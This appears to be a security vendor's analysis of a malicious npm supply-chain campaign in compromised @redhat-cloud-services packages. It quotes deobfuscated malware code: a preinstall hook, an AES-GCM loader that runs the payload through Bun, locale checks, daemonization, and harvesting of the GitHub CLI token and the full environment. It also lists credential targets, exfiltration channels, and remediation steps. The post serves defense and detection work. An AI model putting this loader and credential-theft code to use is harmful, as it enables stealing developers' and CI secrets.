Socket has detected a malicious npm supply chain campaign involving compromised @redhat-cloud-services packages published under the Red Hat Cloud Services namespace. This is effectively a mini Shai-Hulud campaign: it uses the same core tactics of install-time execution, credential harvesting, CI/CD targeting, encrypted exfiltration, and potential downstream propagation. Since TeamPCP recently released Shai-Hulud as open source attack tooling while promoting a BreachForums contest for package compromises, attribution remains unclear, as the publicly available tooling lowers the barrier to entry and enables a broad range of threat actors to conduct similar operations.
The affected package versions execute an obfuscated payload through a preinstall hook, meaning the malware can run automatically during npm install before a developer imports or uses the package. Based on Socket’s analysis, the payload is designed to collect GitHub Actions secrets, npm tokens, cloud credentials, Kubernetes and Vault material, SSH keys, Git credentials, and other sensitive files. It also includes encrypted exfiltration logic and GitHub-based fallback mechanisms, indicating that the attacker was not only attempting to steal credentials, but also potentially enable further supply chain propagation.
Socket’s threat research team is continuing to analyze the malware and its potential impact. We are also tracking affected packages, versions, and detection details on our public campaign page: Red Hat Cloud Services Package Compromise.
Socket AI Scanner’s analysis of @redhat-cloud-services/chrome@2.3.1 highlights the package’s install/import-time JavaScript loader, which reconstructs hidden source through runtime decoding, decrypts embedded payload blobs with AES-128-GCM, and dynamically executes the resulting code from index.js. This behavior confirms that the malicious functionality is intentionally concealed from static review and staged for second-stage credential theft, environment inspection, and outbound communication.
Affected packages use multiple obfuscation and staging layers:
Install-time execution through npm lifecycle script
The package.json contains:
"scripts": {
"preinstall":"node index.js"
}
This causes the malicious loader to execute automatically before installation completes.
Misleading package entry point
Affected packages advertise normal-looking Red Hat Cloud Services functionality, but their CommonJS entry point is the malicious loader:
"main":"index.js",
"module":"esm/index.js"
The esm/index.js file appears more like expected library code, but index.js is a large obfuscated loader. This is deceptive because Node/CommonJS consumers and npm lifecycle execution hit the malicious file.
Stage-one JavaScript obfuscation
index.js begins with a char-code array, Caesar/ROT-style transform, and eval:
The following snippets are taken from the analyzed packages and decrypted payload. Comments are added inline to explain the malicious functionality.
1. npm install-time execution
{
"name":"@redhat-cloud-services/chrome",
"version":"2.3.1",
"main":"index.js",
"module":"esm/index.js",
"scripts": {
"preinstall":"node index.js"
// Executes index.js automatically during npm install.
// This means a user does not need to import or call the package for the payload to run.
},
"dependencies": {
"lodash":"^4.17.21"
}
}
2. Encrypted loader decrypts and executes payload
const_d=(k,i,a,c)=>{
constd=_c.createDecipheriv(
"aes-128-gcm",
Buffer.from(k,"hex"),
Buffer.from(i,"hex"),
{authTagLength:16}
);
d.setAuthTag(Buffer.from(a,"hex"));
returnBuffer.concat([
d.update(Buffer.from(c,"hex")),
d.final()
])
};
// Decrypts embedded runtime payloads that are hidden from static/package review.
const_b=_d("2bec18af5f0f9cbe8949cc2bf5466dc6", ...).toString("utf8");
const_p=_d("d07ec47042a05fe3d684f72d2155d180", ...).toString("utf8");
constt="/tmp/p"+Math.random().toString(36).slice(2)+".js";
_fs.writeFileSync(t,_p);
// Writes the decrypted main payload to a randomized temporary JS file.
if(typeofBun!=="undefined"){
try {
_cp.execSync('bun run "'+t+'"',{stdio:"inherit"});
// Executes decrypted payload using Bun.
}finally {
try {_fs.unlinkSync(t) }catch {}
// Deletes temporary payload after execution.
}
}else {
await(0,eval)(_b);
// Evaluates helper that downloads Bun if not installed.
try {
_cp.execSync('"'+getBunPath()+'" run "'+t+'"',{stdio:"inherit"});
}finally {
try {_fs.unlinkSync(t) }catch {}
}
}
functionZZ(){
try {
if (
(Intl.DateTimeFormat().resolvedOptions().locale||"")
.toLowerCase()
.startsWith("ru")
)returntrue;
// Avoids execution or changes behavior on Russian-language systems.
}catch {}
if (
(
process.env["LC_ALL"]||
process.env["LC_MESSAGES"]||
process.env["LANGUAGE"]||
process.env["LANG"]||
""
).toLowerCase().startsWith("ru")
)returntrue;
returnfalse;
}
5. Daemonization on non-CI systems
functionq9(){
if(process.env.__IS_DAEMON)returnfalse;
letchild=spawn(process.execPath,process.argv.slice(1), {
detached:true,
stdio:"ignore",
cwd:process.cwd(),
env:{...process.env,"__IS_DAEMON":"1"}
});
child.unref();
returntrue;
// Detaches into a background process on developer workstations.
// This allows scanning/exfiltration to continue after the install process exits.
}
The payload also uses a lock file named: tmp.0987654321.lock
This is used to avoid duplicate running instances.
6. Environment and GitHub CLI token collection
classO6extendsE {
async execute() {
letout= {};
try {
lettok=execSync("gh auth token", {
encoding:"utf-8",
stdio:["pipe","pipe","pipe"]
}).trim();
if(tok){
out.token=tok;
out.tokenInfo=awaitr(tok);
}
// Collects the local GitHub CLI authentication token.
}catch {}
out.hostname=os.hostname();
try {
out.username=os.userInfo().username;
}catch {
out.username=process.env["USER"]??process.env["LOGNAME"]??"unknown";
}
out.environment=process.env;
// Captures the entire process environment, which commonly contains CI,
// cloud, registry, deployment, and application secrets.
returnthis.result(out);
}
}
Uses AES-GCM to decrypt a Bun helper and the main payload
Uses eval and runtime decryption
Installs/loads Bun if needed
Downloads Bun from GitHub using curl
Extracts with unzip
Executes the decrypted payload with Bun
Runs as a background process on non-CI systems
Detaches using child_process.spawn
Uses __IS_DAEMON
Uses a lock file to prevent duplicate instances
Performs anti-analysis and environment checks
Checks for Russian locale/environment
Checks for CI/CD environment variables
Checks for security/EDR tooling
Detects canary or decoy tokens
Collects secrets and host data
Environment variables
GitHub CLI token via gh auth token
npm tokens
GitHub tokens
Cloud credentials
Docker, Kubernetes, Vault, SSH, Git, and package-manager credentials
Potential wallet files
GitHub Actions runner memory secrets
Queries cloud and registry APIs
AWS metadata and Secrets Manager
Azure identity, management, and Key Vault endpoints
GCP Secret Manager and Cloud Resource Manager
npm registry token/package endpoints
GitHub REST and GraphQL APIs
Attempts GitHub repository/workflow modification
Uses stolen GitHub tokens to enumerate and process repositories
References .github/workflows/codeql.yml, .github/setup.js, .claude/settings.json, and GitHub Actions workflow modification logic
Contains code capable of writing malicious index.jsstyle payloads into repositories/actions
Exfiltrates collected data
Primary channel: encrypted HTTPS POST
Fallback channel: GitHub API commits of encrypted JSON result files
Fallback exfiltration channel
The payload can also exfiltrate through GitHub by creating or updating files such as: results-<timestamp>-<counter>.json
It commits the encrypted result envelope through the GitHub API. The commit message can include: IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner:<token>
Organizations should treat any system that installed one of the affected @redhat-cloud-services package versions as potentially compromised. The payload executes during npm install, before application code imports or uses the package, so exposure depends on installation or CI execution, not runtime use.
Identify Exposure
Search source repositories, lockfiles, package manager metadata, CI logs, build artifacts, developer machines, and internal package caches for the affected package names and versions. Pay particular attention to package-lock.json, npm-shrinkwrap.json, yarn.lock, pnpm-lock.yaml, SBOMs, artifact manifests, and historical CI logs.
Organizations should also review whether any affected package was installed in GitHub Actions, local developer workstations, container builds, release jobs, or package publishing workflows. CI/CD exposure is especially important because the malware targets GitHub Actions secrets, npm tokens, cloud credentials, Kubernetes material, Vault tokens, and other high-value automation secrets.
Contain Affected Systems
If an affected package was installed on a developer workstation, isolate the host and preserve relevant logs before remediation. Because the malware includes background execution and potential developer-tool persistence mechanisms, uninstalling the npm package or deleting node_modules should not be considered sufficient cleanup.
For CI/CD systems, suspend affected workflow runs, invalidate build artifacts produced during the exposure window, and review whether any release, container image, npm package, or deployment artifact was created after the malicious package was installed.
Remove Malicious Versions
Remove the affected package versions from projects and dependency locks. Replace them with known-clean versions only after verifying the package metadata, source repository state, and release provenance. Clear local and CI package caches where affected tarballs may persist.
Where feasible, rebuild from clean environments rather than reusing existing runners, workspaces, node_modules directories, or cached package layers.
Rotate Exposed Credentials
Assume that credentials accessible to the process, shell environment, developer profile, or CI job may have been collected. Rotate GitHub tokens, npm tokens, cloud provider credentials, Kubernetes service account tokens, Vault tokens, Docker registry credentials, PyPI credentials, SSH keys, Git credentials, and any secrets stored in .env, .npmrc, .pypirc, .netrc, cloud config files, or CI/CD secret stores.
For GitHub Actions, prioritize the GITHUB_TOKEN, explicitly referenced workflow secrets, npm publishing tokens, cloud deployment credentials, and any credentials available through OIDC federation. Review whether compromised credentials could access additional repositories, packages, cloud projects, secret managers, or deployment environments.
Review GitHub and npm Activity
Audit GitHub organization and repository activity for newly created repositories, suspicious branches, unexpected workflow files, unusual Contents API writes, new or modified .github/workflows/* files, and commits containing files such as results-<timestamp>-<counter>.json.
Review npm publisher activity for unexpected package versions, modified package metadata, publishing from automation tokens, provenance anomalies, or package releases that do not match the corresponding source repository.
Hunt for Persistence and Local Artifacts
Inspect developer machines and workspaces for suspicious changes to ~/.claude/settings.json, .vscode/tasks.json, .github/workflows/codeql.yml, .github/setup.js, and other developer or CI configuration files. Look for unexpected SessionStart, folderOpen, or install-time execution hooks.
Search for temporary payload artifacts and execution traces, including randomized /tmp/p*.js files, /tmp/b-* Bun extraction directories, b.zip, local Bun binaries, tmp.0987654321.lock, and process trees involving node index.js, bun run, curl, unzip, or gh auth token during package installation.
Strengthen CI/CD and Dependency Controls
Restrict default GitHub Actions token permissions to least privilege, require explicit write permissions only where needed, and separate build, test, release, and publishing jobs. Avoid exposing npm publishing tokens or broad cloud credentials to routine dependency installation steps.
Use dependency allowlisting, package cooldown periods, SBOM generation, package verification, and lockfile enforcement to reduce exposure to newly published malicious versions. Where practical, run dependency installation with lifecycle scripts disabled by default, then allowlist required install scripts for known dependencies.
Add network egress controls for CI/CD runners and developer build environments. Alert on unexpected outbound traffic during dependency installation, especially to unusual API paths, unexpected GitHub Contents API writes, runtime downloads, cloud metadata endpoints, and package registry token endpoints.
Finally, do not treat provenance or trusted publishing as a complete control by itself. In this incident, the malicious releases appear to have been published through trusted upstream automation, which means defenders need runtime monitoring, package behavior analysis, and release-path hardening in addition to provenance checks.
The following endpoint was decoded from the analyzed payload and is associated with the malware’s encrypted exfiltration logic. Socket does not assess that this domain is threat actor-owned infrastructure; rather, the suspicious activity is the payload’s use of this host and path for encrypted outbound data transfer during package installation or CI/CD execution.
api.anthropic[.]com
https://api.anthropic[.]com:443/v1/api
Detection Opportunities
The following endpoints belong to legitimate services and should not be treated as threat actor-controlled infrastructure. They are included as detection opportunities because unexpected access to these endpoints from npm lifecycle scripts, dependency installation, temporary JavaScript payloads, or non-publishing CI jobs may indicate credential validation, package enumeration, runtime staging, provenance abuse, or supply-chain propagation.
The following cloud, identity, metadata, and secret-management endpoints are also legitimate services. They are included because access from package installation or build steps may indicate credential discovery or secret harvesting.
The malware includes GitHub-based fallback exfiltration behavior. If a usable GitHub token is obtained, the payload can write encrypted collection results into GitHub repositories. Hunt for repositories, commits, and files matching the following markers:
The North Korean malware loader hides in a Packagist-listed package and its GitHub branch to fetch and execute remote code in a likely Contagious Interview-style lure.